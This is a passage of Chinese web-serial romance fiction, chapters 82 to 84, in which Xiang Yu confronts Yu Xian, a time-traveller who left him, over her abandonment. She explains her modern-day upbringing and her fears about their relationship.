虞苋不敢不从,接过暖炉抱在怀中,没一会儿,冰冷的小手就有了暖意。 她又凑到对方身边,说起自己的打算:“我原本想要堆两个雪人的,一个是大王,一个是我,周围还要有一间院子,再堆些猫猫狗狗,就像是普通的人家一样,会很温馨的。” 项羽背着手,闻言嗤笑道:“这种普通人家的生活,我是永远体验不到了。” 说完他便往回走。 虞苋感觉到对方因为自己玩雪生气了,便亦步亦趋的跟在后面,一副受气包的小模样。 项羽见她的样子,简直要气笑了。 她到底明不明白…… 算了,女郎本就没什么同理心,她当然不会明白,当年因为许负的一句他们还会重逢之话,于是他压制住自己的暴怒和杀戮,努力当好自己仁爱的君王,就是为了能重新得到她的认可。 西楚王朝建立的第一年。 申秋。 大雨下了整整一个月,终于迎来了一个阳光明媚的日子。 河面上,众人还在打捞着什么。 河中向来是窝藏邪气之地,从不缺被沉湖的亡魂,溺水的怨鬼,一整段河流被捞出了无数尸骨。 西楚霸王坐于轿撵之上,目光扫视着一处处骸骨,周围的百姓匍匐在地瑟瑟发抖。 “大,大王,水底小人们都打捞过十几遍了,尸骸全都在这里了……” “全都在这里了?”他揉了揉眉心,声音就像是淬了毒,“若是没用了,那就去死。” “大王饶命,大王饶命!” 百姓们求饶声如此的凄厉,吵得项羽的脑袋疼。 王后啊王后,你自诩对百姓仁爱,可想过自己跑了,此地的百姓会不会因为你的行为,而遭遇灭顶之灾呢? 他的脑海中浮现了一个身影,面上带着淡薄的微笑,却依旧让人心弦震动,想要求她别走。 项羽忍不住自嘲,亏他当初还如此的听她的话,到头来还不是落得被背叛的下场。 他本来就是一个残暴的君王,而不是被女人调教出来的虚假的完人。 越是忘不 了,心中越是仇恨。 掩藏在骨子里的疯魔,就要克制不住了。 一群蝼蚁而已,杀了又如何。 项羽看着求饶的小人物,脆弱得没有反抗的能力,只会卑躬屈膝的求饶。 耳边传来她冷静的声音:“他们不是蝼蚁,是你的子民,你若怨恨我,又何必牵连无辜。” 念得不厌其烦。 他闭了闭眼睛,挥了挥衣摆:“滚吧。” 也是。 一群蝼蚁而已,杀了有什么用,不过成为史书里的一笔笑谈,堂堂的君王,竟为了一个女人杀人,与烽火戏诸侯又有何不同,不过是给后人对比,两位君王谁更昏庸残暴罢了。 底下的百姓连滚带爬的跑远了,项羽吩咐人将尸骸一把火给烧掉。 等冲天的大火燃尽,他揉了揉太阳穴:“将韩信带上来。” 韩信很快就被带到了他的面前,穿着囚服,身上被用了刑罚,跪在地上,面无表情的询问:“大王是准备处决我?” 项羽嗤笑:“你倒是有自知之明。” 韩信闻言,自嘲一笑:“王后让我护卫她的安全,在她离开时,我就知道自己难逃一死。” 王座上的男人,面上多了一丝悲哀。 “可我不服气,我还不想死。”韩信稽首跪拜,“大王,听闻是许相师和你说起王后的异样,因此我想和你打一个赌。” “你有什么资格来和我打赌。” “我没有资格,可我知道王上放不下。” 项羽沉默。 韩信立即说道:“大王不如请许相师前来算上一卦,倘若算出大王还能与王后相见,大王便饶恕我的死罪,倘若卦象显示大王与王后此生不复相见,大王大可将我斩杀,剁成肉泥,我绝无半点怨言。” 项羽拨弄拇指的扳指,与那个冷情的女人重逢吗? 他只恨不得将她掐死,刨开她的心脏,看看里面装着的是不是一块捂不热的寒冰。 指尖却在颤抖。 他垂眸,冷笑:“谁知道是不是你与许负串通好的说辞?” 韩信镇定道:“大王,你心里清楚,我与许相师不熟,没有机会串通说辞。” 项羽沉默了。 他掩藏在滔天怒火底下,还潜藏着一丝重逢的期许。 日光照在华盖伞上,君王的面容藏在阴影之中,他摩擦着大拇指上的扳指,缓缓闭上了眼睛。 女人决绝往下跳的场面还历历在目,心脏抽痛抽痛,难以忍受的痛苦,折磨得他快要疯掉了。 项羽骤然睁眼:“好,我就跟你,赌这一场。” 韩信松了一口气。 项羽让人将许负传唤而来。 许负得知王后竟然真的依靠徐福留下来的手札离开了这方天地,心中顿时一惊,作为相师,在数年星象的推演中,她太清楚西楚霸王原本应该是如何的残暴,王后的离开,无人劝阻,将来又有多少人会丧命呢? 得知项羽要她算的内容,她很快就做出了决断,必须要给对方一个念想,否则天下危矣,百姓危矣。 许负便当着众人的面算了一卦,她原本是想糊弄过去的,看到卦象却“咦”了一声,忍不住道:“卦象显示,王后离得并不远。” 项羽立即起身:“仔细说来。” 许负道:“离上艮下,是为旅卦,离为火,火蔓延在山川之间,可见行事匆匆,而艮为山,山则是静、不动,即便是再急之事,最后归为静,因此可得出王后并未走远的结论。” 他眸光微闪:“她在哪里?” 王座上的男人手已经捏成拳,心快跳到了嗓子眼,发誓一定要找到那个抛弃他的女人,狠狠地教训,让她知道背叛的后果。 许负却是尴尬一笑,接着解释道:“若是穿越是真,王后离开的距离,不是空间上的,而是时间上的。” “什么意思?” “王后可能去到了一年后,五年后,十年后……”见项羽的目光逐渐不悦,她求生欲爆表,“总之,在大王活着的时候,一定会与王后重逢的。” 项羽闻言,倒是冷冷一笑,嘲讽道:“她一心想要回家,宁愿抛弃我,抛弃王后之位,她倘若回不去她口中的时代,算不算是背叛者自食后果?” 他看了一眼一旁默不作声的韩信,语气薄凉:“你赌赢了,我放你走。” 韩信跪拜在地:“多谢大王不杀之恩。” 项羽摆了摆手,让人全退下去了。 爱与恨,交织,仅在瞬间。 他还是想见她。 …… 短暂的回忆结束,项羽回神,转身询问女郎:“除了要堆猫猫狗狗,还想要堆其他动物吗?” 虞苋原本就跟在对方身后,见他停住了脚步,没刹住脚步撞到了男人宽阔的后背。 “哈?” “兔子要么?” 虞苋反应过来他口中的话,是在说堆雪人,眼睛一亮,赶紧点头:“要的要的。” 项羽给她拢了拢衣领,语气淡定道:“你在一旁看着吧。” “哦。” 虞苋有些懵懂。 项羽撩起袖子,给女郎堆雪人。 他的手艺可比虞苋的要好上太多了,她堆的雪人只会叠两个球上去,而项羽却不一样,他能用刀在雪上面雕刻,慢慢成型。 两个小人手拉着手,依靠在一起,在脚下环绕着圆润可爱的猫猫狗狗,和她想象中的一模一样。 虞苋见项羽将雪人堆好了,她凑近看了看,忍不住惊叹道:“没想到大王手竟然如此的灵巧。” 项羽低头,没应声,不知道在想些什么。 女郎眨了眨眼睛,顿时心中起来坏主意,偷偷抓了一把雪,挪步到项羽身边搂着他的腰,软乎乎道:“夫君,你对我真好。” 项羽摸摸她的脑袋。 虞苋趁机将雪塞进对方的领口,雪撒了进去,她能感觉到男人的身体一僵,低头看她:“你的手是不是不想要了?” 她讨好道:“等雪融化成水,我帮你舔干净。” 项羽:“……” 女郎故意笑嘻嘻道:“你觉得怎么样?” 项羽冷笑:“不怎么样。” 虞苋“哦”了一声,好奇看着对方的腰下,开始说丧气话:“大王,你对我那么好,却不愿和我睡觉,是不是真有什么难言之隐,我记得你以前不是这样的,是不是憋坏了。” 他懒得搭理。 虞苋却以为是自己说对了,叹了口气,道:“放心,大王,我不会嫌弃你的,即便你不举,我也会一直陪在你身边。” 说完,她甚觉自己,十分识大体。 主要是他人太好了,又长得太好,让人不忍伤害,即便不睡觉,亲亲嘴巴也是很舒服的。 项羽深吸一口气,忍不住了想将人掐死的冲动,低头捏住了女郎的后颈,咬牙切齿道:“你胡说什么!” 虞苋瞥到了一旁的雪人,栩栩如生,是他给她堆好的,她心中欢喜极了,可明明可以对她如此的好,为什么不满足她与他的男欢女爱呢? 她嘟囔道:“我没有胡说。” 项羽察觉自己的呵斥对女郎不起作用,便将她拉进房间里,对着亲卫道:“若无急事,谁也不见。” 亲卫:“喏。” 虞苋见门被关上了,她眨了眨睫毛,激动的询问:“大王,你是准备给我证明,你行了吗?” 项羽冷哼:“这么热情?” 她搂着对方的手臂,抿嘴羞涩一笑:“我是属狗的,是热情小狗。” 记忆中和女郎缠绵已经是很久很久之前了,她的确每次都大方的回应,从未忸怩,让人又爱又恨。 项羽捏着她的下 巴,掩藏住自己心中残余的恨,问她:“你准备怎么做?” 虞苋一愣,眨巴眼:“你愿意和我睡觉了?” 项羽没说话。 不说话就是默认了,女郎手搭在男人的腰带上,又瞥了一眼他,却感觉到他身上,依旧还残留着一些她看不懂的情绪。 他对她太宠溺了,越来越让她感觉,对方只是一个没有情绪的假人。 女郎想看到项羽对她的其他的情绪,她手指停了下来,闷声闷气道:“不过若是大王不愿意,热情小狗也可以安静的。” 项羽没强求:“休息吧。” 虞苋爬上榻,给他让出一个位置,询问道:“躺在一起,什么也不做,可以吧?” 项羽有些犹豫,见她眼神中的期待慢慢变淡,他点头:“可以。” 闻言她松了一口气。 项羽躺了下来,女郎赶紧钻进男人怀中,搂住腰,说道:“冷死了冷死了,还是被子里面暖和,睡觉睡觉。” 他没有说话,看着屋顶的瓦片。 虞苋说要睡觉,搂着对方很快就睡着了,周围暖烘烘的,睡得十分的香甜。 正当她准备做美梦之时,她感觉自己的身体被藤蔓紧紧缠绕,动弹不得,耳边有人呢喃着什么,听得并不真切。 她惊醒。 男人额头上出了密密麻麻的汗水,面上表情不安,脖颈青筋暴起,看上去是做了什么噩梦。 他难得露出了脆弱的模样。 虞苋攀着他的肩膀:“大王,你怎么了?” 项羽沉浸在梦魇之中。 没错。 他又做噩梦了,经年来重复做的一场噩梦。 一个让人极为不耻的梦。 空荡荡的大殿,君王从王座走下来,跪在女子的画像前,疯魔了似的祈求她的出现…… 荒唐至极。 他是西楚霸王,怎么可能给一个女人下跪,只为了祈求她的垂怜? 第82章 第82章“你太看得起我了。”…… “别走,别走。” 项羽的手紧紧地抓着梦中的画像,明明知道这只是一个梦,却不愿意醒来,就像曾经很多次一样。 他想质问她为何要抛弃自己,却害怕得到令他恐惧的答案。 本就是自己贪图女郎的美貌,以权势强留在身边,对方要走多正常,他能以什么样的立场去质问她。 可是好不甘心。 不想放手。 项羽将虞苋搂得很紧,显示自己的心中极度不安,女郎伸手安抚的拍了拍他的后背。 她眼睛亮亮的,因为紧张,睫毛似蝴蝶扇合,一看就是想干坏事。 她诱哄道:“谁别走?” 项羽的身体一僵了一瞬,手揉着女郎的腰,下巴抵住她毛绒绒的头顶。 醒了。 虞苋有些心虚,赶紧往他怀里拱了拱,闭眼假寐。 项羽却戳破她:“想在我睡着的时候套我的话?” 虞苋抿嘴一笑,手钻进他的衣襟里,被他拿出来了,她便将手老实放好,直接询问:“所以你刚才做梦的时候让谁别走啊?” 项羽垂眸,不回答:“睡觉。” 她好不容易逮到了对方的破绽,不可能就让他轻松躲过去的:“快说快说,不说,我睡不着。” 房间里的炭火烧得红通通的,两人的呼吸交缠在一起,让面前的人显得如此的真实。 项羽闭上眼睛,深吸一口气,说道:“刨根问底可不是什么好习惯。” 虞苋见他不肯说,便挣开他的怀抱,卷着被子滚去了角落,闷声闷气道:“不说就不说。” 项羽感觉身上一凉,忍不住气笑了:“小气鬼。” 她捂住耳朵:“听不到。” 项羽经过这么一闹,倒是睡不着了,准备起身。 女郎听到动静,瞬间翻身而起,拉住了对方的衣摆:“不准走。” “这么激动?” 她跪坐在床榻上,见项羽站着不动,双手环住了他的腰,脸上眷念的蹭了蹭,再次不安的询问:“你真的一点都不责怪我的离开吗?” 项羽冷笑:“你想我怪你?” 虞苋摇头:“我想知道你现在的情绪。” 他说道:“我没有怪你,没有羞辱你,没有惩罚你,你的良心感到不安,开始心虚了?” “没有。”女郎被说中心思,矢口否认,“你乱说。” 空气沉默了一瞬。 虞苋开始胡言乱语:“是不是因为你对我太了解了,所以你故意这样做,想让我心里难受,以此惩罚我?” 项羽:“……” 要被这女人给气死了。 他低头,掐住她腮帮,挑起她的下巴:“我倒是觉得是你在故意激怒我。” 那是没错的。 虞苋继续污蔑他:“哦,我知道了,或许是我不在的这些日子,你做了什么背叛我的事,因此理亏,即便是我的离开,是背叛是抛弃,你也不好意思生我的气了。” 项羽胸膛起伏得厉害,声音从嗓子眼出来:“还给我泼脏水?” 虞苋摆手:“不敢的不敢的,我现在不是被你一手掌握,生死都在你心念之间,我哪敢给你泼脏水,只是说出自己的顾虑罢了。” 他无语:“我是真想掐死你啊。” 虞苋:“哦,你用力掐。” 终于有点正常人的反应,不容易啊。 女郎直起身子,一副随他怎么着的模样。 房间里,火盆的炭火噼啪响了几声,有些闷。 项羽的手从掐转为捧,另一只手环住虞苋的腰,在黑暗中,眼睛里隐约出现双瞳,看上去很是可怖。 原本残梦还在,他的情绪就已经临近崩溃,此时又被女郎挑起了火气,那些掩藏在心中角落里的怨恨、偏执、痛苦瞬间冲开束缚,占据了他心脏、大脑、躯干、四肢,磅礴的情绪要将他给淹没了。 项羽一字一句的问:“为什么离开?” “啊?”虞苋有点懵。 “为什么离开我?” 女郎疑惑:“你之前不是说,不需要我的解释,现在怎么又问?” 说这话时虞苋有点怂怂的,声音很小,她感觉项羽的状态不太对劲。 自己是不是太过分了? 项羽说:“我真不在乎吗?” 他道:“我说不在乎,你就不能重新跟我解释缘由,你觉得一封信真的能搪塞我,让我甘心不恨你?” 虞苋抓住了重点,瞬间抬头,反问:“你恨我?” 项羽:“我不该恨你吗?” “倒不是。”她试探,“这是你的真心话?” “你觉得我在愚弄你?”项羽冷笑,“你太看得起我了。” 女郎仰头看人。 在黑暗的房间里,唯一的光源就是烧着炭火的火盆,微弱的暖光映照在他的脸上、身上,却仍然难以掩饰浑身的冰寒之气,重瞳里的目光,就如同冬夜般的冷。 他遏制不住心中的暴怒了。 原本虞苋是好奇面具下的他到底是什么样子的,此时心中倒是知道害怕了,赶紧将身子往后挪。 “你怕我。” 虞苋又被他拿捏了,不知是被他掺杂着怨恨的眼神吓的,还是被冷空气冻的。 项羽掐着她瘦削的肩膀,往上一提,迫使女郎往前靠,语气甚是失望:“你激怒我,不就是想要看我现在这幅狼狈的样子,你现在如愿了,你跑什么?” 她咽了咽口水:“没,没跑啊。” “没跑。”项羽嗤笑一声,“呵。” 虞苋长睫颤抖,抖啊抖,鸦黑色的睫毛,在眼敛落下了阴影。 她漂亮的脸上表现得很紧张,身体缩成一团,亦在发抖,就像是迷路的小羊羔,与邪恶的狼王狭路相逢。 项羽说:“你不是想知道,我梦见了什么,好,我现在就告诉你。” 虞苋:“你,你说。” 说起这个来,她眼睛亮了一下,瞥见对方阴沉的脸,又心虚的垂下了脑袋。 项羽倾身而上,见状,女郎只好往后挪,对方在榻上膝行,步步紧逼,直到她退无可退。 “我寻了你整整五年半,我不知道你什 么时候会出现在我面前,亦不知道你还会不会出现在我的面前。“他冷静的道,“在最开始,我是恨你的,恨你的无情,恨你的背叛,发誓找到你,一定要将你抽筋剥皮,饮你的血,食你的肉,如此才能让你与我共生,解心头之恨。” 虞苋:“……” 怎么感觉他说的,都是真的,他是真的想杀自己。 项羽冷峻的面容带上了疯狂,伸手触碰女郎光洁的脸颊,虞苋被吓得不敢动。 救命啊。 老实了,自己真的老实了。 他继续道:“可是我即便有多恼恨你,可是在梦中梦见你之时,我却像个可怜虫一样跪在你的面前,就像现在这样,卑微地祈求你留下来多陪陪我,可你从来都是毫不留情的转身离开,衬得我的行为是多么的可笑。” 男人跪在虞苋的面前,两手抵住她的肩膀:“我刚才在梦中,求你别走呢,小虞。” 虞苋怔住。 对方语气越是平淡,越是让人心惊。 她哆哆嗦嗦的问:“那你现在还要杀我吗?” 项羽却不答反问:“我为了在你面前伪装,藏住了心中的怨恨,我这几日表现得对你还不够好么,小虞,你为什么要撕碎我作为君王的自尊,让我在你面前发疯,使我变得丑陋,如此,你见了我现在的模样,是不是就有理由再一次离开,将我像草芥一样随手可弃。” 虞苋:“我,我没有。” 项羽眼尾通红,眼神带着浓烈的恨,手抓紧了她的衣摆,目光扫到了女郎白皙的脖颈,忍不住低头,发狂似的往下咬。 尖锐的牙齿触碰到皮肤,感觉到虞苋身体在颤抖,止住了自己的动作,她最是怕疼了,还是舍不得伤害女郎分毫。 真是可悲。 他闭上眼睛,抽离了身体,站在了床边。 项羽长身玉立,身上穿着玄衣,冷峻的脸上依旧阴沉,却控制住了自己下一步行为,哑声道:“你自己休息吧。” 他转身。 虞苋见他准备离开,明明心中害怕,还是连滚带爬的到他面前,伸手拦住他:“别走,我还没让你走。” 她光脚踩在地上,小脸上还残余着惧意,却固执的拦人。 项羽自厌道:“是还看不够我现在这个恶心的模样?” 虞苋说:“不是的。” 她解释道:“你告诉了我,你梦到了什么,可我还欠你个解释,为何离开的解释,得跟你说的。” 项羽垂眸看她:“你倒是还记得我刚才的话。” “记得记得。”虞苋点头,“你是我夫君,我当然会把你说的每句话都要记在心里的。” 惯是会说些好听的话。 项羽颔首:“行,我不走,你说。” 他将人捞起,带到了床上,自己站在床边。 虞苋感觉到脚下原本冰冷的地面,变成了柔软的被褥,顿时一怔,抬头看对方,却见他还是摆着一张臭脸,心中的惧意,却悄然地消散了许多。 气归气,对方竟然还能注意到这等细节,就觉得他一点都不凶了。 项羽见她没在开口,眼神示意她继续说。 虞苋坐在床边,说道:“夫君,你也坐着吧。” 项羽双手抱胸:“我站着就好。”一副气还没消的样子。 虞苋便说:“我还从来没有给你好好说过我没遇到你以前的事情呢,我的成长环境,我的父母,我的家人,我的朋友,和我没遇见你以前,我未来要走的路,这些都跟我当时选择离开有关系。” 项羽耳朵动了动。 想听。 第83章 第83章“你信不过我。”…… 虞苋见项羽没有反应,于是拉着他的衣摆,小声说道:“快坐下。” 项羽抿嘴,眼神落在女郎身上,似乎是在考量。 犹豫了瞬间,对方便已软乎乎的抱着他的腰,眼睛里残余着惊恐的水色,却还敢大着胆子上来搂人。 项羽捏着她的后颈,将她扒拉到一边,冷冷道:“说就说,别动手动脚。” 虞苋:“哦,错了嘛。” 项羽:“……” 他上前跪坐在女郎对面,脸上表情严肃:“说吧。” 虞苋原以为他不感兴趣,心还紧张了一下,现在看见项羽摆出一副洗耳恭听的样子,她心中喜悦,又悄悄地挪近了些。 “自从你们知道我来自后世之后,我还没有跟你提起过呢。”她叹了一口气,“我来自两千两百年以后,是苍梧人,出生在秦始皇让人修建的灵渠附近。” 项羽知道灵渠,那是当初秦王嬴政为了攻打南越,而派秦人去修建的。 等一下,她说她来自两千两百年以后…… 此话让他皱起了眉头。 项羽以为女郎口中的后世,是距离两三百年,最多是距离五六百年,而两千多年的光阴,那是漫长的时光,足以让河流改道、山川易位,王朝数次覆灭,是几十代人的更迭。 他疑惑道:“距离这么久,你竟然能知道如今的事情,你是贵族?” 如今只有贵族才能有机会翻阅史书。 “我并不是贵族。”虞苋解释道,“在我出生的那个时代,已经普及全民教育了,基本上年轻人都识字,而想要知道历史,可以购买典籍自己研究,于是了解你们这样历史留名的人并不困难。” 项羽:“全民教育?” “是的,全民教育,还是免费的。”虞苋颔首,颇为自豪,“我生出的那个年代,是百姓当家做主,没有奴隶,而且生活水平很好的,人人都能吃饱穿暖,属于‘前无古人’的年代。” 全民免费教育,人人吃饱穿暖,还没有奴隶,简直是匪夷所思。 作为君王,统御江山社稷,项羽非常清楚,上述只做到其中一样,便已经神迹,更何况并列在一起,需要庞大的财政开支,若是都能实现,那样的国家一定非常的富强。 项羽垂眸:“其他暂且不说,人人都能吃饱穿暖,许是你所处的位置,看不见真正的穷人。” “我才没有胡说,我出生的时代,是分田到户的,人人家里都有田地。”她叉腰,“即便是最穷困的地方,只要有手有脚,在地里种田,每年都有钱补贴的。” “是吗?” 她狠狠点头:“是的!” 项羽说:“看来你出生在一个盛世。” 作为君王,他有点不想信她的话,那样会显出自己的无能。 “你说得没错,而且。”她话一转,“我提及的这些,仅仅是我生活的时代背景中的,其中一面。” 项羽目光移向她:“继续说。” 毕竟是两千多年以后了,从商到周的千年时间,也发生过很多制度上的变动,倒也不是不可以理解。 虞苋说了不对他隐瞒,倒是说到做到,一点都不藏私:“那我再说说交通上的,在后世,运输依旧沿用了水运和陆运,不过多出了一个空运,至于空运,顾名思义就是从天上走,在后世,人甚至可以借助工具载人飞天。” 项羽摩擦这拇指上的扳指,静静听着,并没有打断女郎的话。 她又继续说:“而无论是水运、陆运,还是空运,都比现在的速度快很多,从咸阳到会稽,走天上不用一个时辰的,走陆路,则只要两三个时辰,水路也就是一天的时间,如此出门会非常方便。” 项羽说道:“往返不用一日,便是最快的千里马,亦不能做到。” 虞苋立即点头:“对啊对啊,制造这些工具的知识,就不是我这样的普通人能够学习得到的了,后世有一个词叫做‘科技’,研究科技的人被尊称为“科学家”,那些如此飞速的运输工具,则是属于‘高科技’,是科学家那样的顶尖人才创造出来的呢。” 她说完叹了一口气:“我和这些人相比,不过是芸芸众生中的,一个小废物罢了。” 项羽见她一脸羡慕,心中对于他口中的“科技”多了几分好奇,见她软乎乎的脸,又没忍住揉了揉她的脑袋,说道:“人有所长,有所短,以他人之长,比己之短,蠢人罢了。” 虞苋:“你是骂我是蠢人吗?” 项羽轻咳:“没有啊,你别误会,你继续说说。” 她抬起双手搭在自己的脸上,搓了两下,醒了醒脑子:“好,我继续说。” “在后世,除了交通上的方便,在通信上也发生了改变。”虞苋摊开手,“科学家发现了电磁波,这个电磁波是肉眼看不见的,传播的速度非常的快,科学家们发现它之后,研制出能发射 和接收它的工具,这样的工具能利用电磁波传递的频率来转化成信息。” “经过了百年间的发展,这项技术已经很成熟了,即便两人距离千里之外,也能依靠接收工具能够实时传信,千里传音,又因为这种工具能一手掌握,因此也叫做手机,而这样的工具,已经在年轻人中人手一台了。” 项羽闻言,说了一句:“千里传音,你很有想象力,越说越玄乎了。” 虞苋皱了皱鼻子:“我说的都是真的,你是不是不信我的话?” 项羽点头:“方士曾用同样的语言来蛊惑我,你的话的确很难让人相信。” 虞苋:“……” 见女郎不服气,他冷笑道:“既然人都能飞天,能让两地之人实时通信,想必在军事上,也有很大的突破,不如你说说看,你若是能说出更厉害的东西,我便能姑且信一信。” “还真有。” 她指了指天上,清了清嗓子道:“在天上作战的叫做战斗机,那个年代,制空权是很重要的,站得高看得远嘛,没有制空权,人家的飞机飞过来,就可以从上往下发射很厉害的武器损毁路面的,如此就会切断军队供给……” “还有一个很厉害的武器,能发射到千里之外,命中目标便能够直接摧毁一座城池。”女郎比划了一下,“不过这种武器一般不用,就像是弓箭,弓箭手如果能百步穿杨,在战场上便能震慑敌人,让人不敢轻举妄动。” “那时候打仗已经很少打白刃战了,有一种叫做‘枪’的东西,跟弓箭一样能发射,速度比箭要快很多,一旦被瞄准,很少有人能躲掉,必死无疑,而战场上是用枪敌我对射,于是在陆战,便有多出了很多的武器,我也可以一一举例的。” “……” 她还说了很多很多,将那个时代的一切,都想全说给对方听。 憋了好久好久了。 她回不去,只能说给他听了。 项羽闻言直接干沉默了,他好歹在这里是一个所向披靡的将军,打下了这半壁江山,若是他的手下的大军,遇到虞苋口中的军队,一个照面,就得被人歼灭,很难让人接受。 不过那是两千年以后,人类多了几千年的摸索,有此成就,即便难以置信,却并非是不可能的。 项羽沉默。 虞苋见他一时没有开口,起身找来了一壶水,给项羽倒了一杯,又给自己倒了一杯。 她将整整一杯水给喝完之后,抹了抹嘴角,看见对方冷着一张脸在思考,似乎对于自己的话半信半疑。 她立即发誓:“我说的都是真的,若是有半点假话,我就天打雷劈。” 项羽便是担心虞苋说的话是真的,才没有开口,闻言拿起杯子喝水,说道:“你那么怕死,都敢当我的面发毒誓,我就姑且信你一二。” 虞苋:“就信个一二啊?” 他冷笑:“你要是跟旁人提及这些,别人只会以为你是疯了,我能信你话中一二,已是难得了。” 虞苋闻言侧摊在榻上,没忍住又叹了一口气:“你说得没错,我现在就只能跟你说说了,那样璀璨的世界,我回不去了,将来注定是要和你死在一起。” “死在一起?”她的情绪不对,项羽闻言十分敏锐,从女郎三两句话便能推测出,“我会死?” 虞苋:“……”说漏嘴了? 项羽却道:“你作为后世之人,知道我的结局并无让人意外,看来我的死期不远了。” “呃……也不一定。”历史不是或多或少产生了偏差,也许他们都不会死了呢。 可是想到之前自己要杀的刘邦,没杀成,想要韩信死,韩信也没死成,或许冥冥之中自有天意。 他自嘲一笑:“就是你抛弃我,一定要回去的原因,对吗?” 虞苋心虚极了,脸上闪过一丝尴尬,想要说谎,去看着对方的冷脸,感觉若是自己说了谎话,他怕是转身就走了,于是诚实道:“有那么一点点的原因。” 项羽浑身冰寒。 “只是一点点原因。”她小心翼翼地扯着他的衣摆,“还有我自己的原因。” 对方抬头。 虞苋说:“我说了后世景象,还没跟你说过,我的家中之事呢。” 她其实不是很想说,比起后世的美好,她的家庭在她的成长中,是充斥着怨恨、背叛、排斥和阴暗的。 “我的爷爷和姥爷,两家有世仇,偏偏我父母却偷偷相爱了,不顾长辈的反抗,怎么都要在一起,爱得轰轰烈烈,甚至愿意放弃家业,由于他们都是独子独女,两家没有其他的继承人,最后都被迫妥协了。”她没有再看项羽的表情,脸上不由露出了讽刺的笑,“可惜没两年,浓情蜜意消散,双双另找他人,于是作为他们的女儿,当年他们有多爱,就对我的到来有多恨。” 什么爱情,在时间面前,最终都是枯萎了。 她说:“我想回去,不仅是因为是怀念那个美好的时代,还有,我更多的是在惶恐,我不敢相信你当初对我的承诺,毕竟我的那对父母就是反面例子。” 虞苋继续道:“而我本也是依附你活着,一旦你收回给我的权利,我将一无所有,甚至会更凄惨。” 她忘不了小时候的那一个雨夜。 她发烧了,头昏欲裂,保姆反锁了门,睡死在卧室,外面电闪雷鸣,暴雨倾盆而下,她巍巍颤颤地打了急救电话。 不知过了多久,自己被抬上了救护车…… 路灯从救护车车窗透进来,昏黄的灯光散落在她的眼中,心中一片的孤寂,亦忘不了父母赶来后在医院外面气急败坏的吵架,字字句句绝情的话在她耳边炸开。 谁能想到曾经他们爱得那么的深,最后只剩下了利益、算计和永无休止的争吵。 而她,同样被被伤得最深,宁愿从未出生。 项羽看着女郎可怜巴巴的样子,刚才还高昂的情绪瞬间落下,一副不想在意实际超级在意的模样,身上有一种拧巴感。 其实那都是小时候的事情了,虞苋早就已经释然,卖了惨之后便开始观察项羽的表情,见他似乎脸上有些动容,便开始哭唧唧的认错。 女郎哑声道:“其实我知道我说多少的理由,都掩盖不了自己将你抛弃的事实,可是我没有办法认命,我接受不了自己为了情爱放弃唯一回去的机会,我只是太害怕失败了。我当时有犹豫过要不要赌的,可我若是能穿越回去,失去的不过是爱情,回到那样和平的后世,即便我不是王后、不是贵族,只是一个普通人,我依旧能活得很好。可若是我不回去,得到的不过是君王一时的爱恋,当你对我的情感消退,我会有什么样的结局,各国的史书上都有记载,我岂能不怕。” 项羽气笑 了:“说来说去,不过是你信不过我。” 第84章 第84章“不要,不要再凶我。”…… 她点头:“没错。” 气氛凝固。 虞苋仰头,眼睛含泪,皱着鼻子,表情软软的,与项羽对视,也不说话。 两人谁也没再开口。 房间里安静了一会儿,女郎抿嘴,忍不住眨了两下眼睛,泪珠就顺势滚落了,整个人委屈得不行。 项羽凝视她的脸,伸手穿过她的腋下,突兀地将她提到自己面前,如此柔弱的女人近在咫尺,身体能被人一手掌握。 真软啊。 他用指腹抹掉了她脸上的泪珠,冷笑道:“你倒是清醒。” 虞苋看着对方冷酷的脸,心中酸胀,依旧梗着脖子说道:“你现在知道了我生活的年代,知道了我的顾虑,难道还不能设身处地的从我的角度考虑吗?” 独在异乡为异客,那种孤寂感没人能懂,自己也很委屈的。 她抹掉残余的眼泪,心中突然生出一股气来,恨恨说道:“而且我心里很清楚,最开始你对我的喜欢,便是因为我的这一张脸,以色侍人,色衰爱弛,若不是我当初在最年轻美丽的时候离开了你,等你厌倦我了我才离开,你还会像如今一般来寻我吗?” 虞苋早就觉得自己在项羽面前是以色侍人了,心里对此极为的在意,于是趁着此时,一股脑将自己的心里话给说出来。 项羽皱眉:“你何时是以色侍人了?”他从来没有如此想过。 虞苋说:“我就是,你最开始收留我,就是让我当你的侍妾,你就是想睡我,你别狡辩。” 胡言乱语,张口就是污蔑。 项羽真是恨不得将这个冷心冷肺的女人给掐死:“看来我猜得没错,在你眼里,我就是一个好色之徒。” 虞苋:“对啊。” 他被气得深呼吸,艰难地平复心中怒意,用她当初的话反驳:“若是我没记错,几天前你还跟我提及过,说多少爱情的开始,都是冲着皮囊去的,皮囊好看,他人才更有兴趣了解皮囊底下的人是什么样的性子,还跟我说爱美之心人皆有之,喜欢好容颜是人之常情,才短短几日,为了狡辩自己对我的背叛,你就立即换了个说法,将过错揽在我的身上,小虞,你还真是善变得很。” 她闻言一愣,脸上有些尴尬:“有,有么?” 完了,好像是说过,自己给忘了。 项羽冷眼看她。 虞苋见状眨了眨睫毛,鸦黑色的睫毛又重新沾上了泪珠,气势立即就憋了,小声道:“好,好吧,我是说过。” “但,但是!”她说完又重新支棱了起来,哔哔道,“我能找这样的借口,心里就是在意的你到底是不是只喜欢我的皮囊,倘若是不在意那我当然提都不会提,你又总是忽冷忽热的,我害怕被你厌弃很正常啊。” 项羽冷嗤:“我什么时候对你忽冷忽热?” “就有的。”她垂眸控诉,“一直都有。” “那你是感觉错了。” 虞苋闭嘴不说话,感情不就总是忽起忽落,她才没有感觉错。 项羽:“而且,在你看来我怕是活不长久,许是还等不到你色衰之时,我就已经先死了。” “呃……” 好像也是。 项羽见她不吭声,立即冷笑着控诉:“你有千百种离开我的借口,却没有找一个留下的理由。” 他捏着女郎的脸,将她的头抬起:“你心里从未考虑过我,没有考虑过追随你的将士,没有考虑过成为王后应该肩负的责任,小虞,你何其自私。” 说话间,对方的重瞳中怨恨犹如实质,虞苋张了张口,却一时间不知道如何辩解。 也没有办法辩解。 他说的都是真的,她的确是只考虑了自己,没有考虑其他的任何人,本就是自私自利之人。 项羽声音带着嘲弄:“如今你在我面前讨巧卖乖,费尽心思寻找借口,不过是因为你如今又重新落到了我的手里,你在惧怕我,倘若你回去了,我之于你不过是黄粱一梦,是你人生短暂的过客,是被你抛弃的可怜虫,仅此而已。” 女郎不说话。 他道:“被我说对了,反驳不了了,是吗?” 虞苋的确是被说懵了,闻言拿开他的手,有些受不住对方的冷脸,眼睛又湿润了,吸了吸鼻子垂头抹眼泪。 明知是自己错了,她还是不服气,开口控诉道:“可我说了那么多,大王亦未能共情我。” 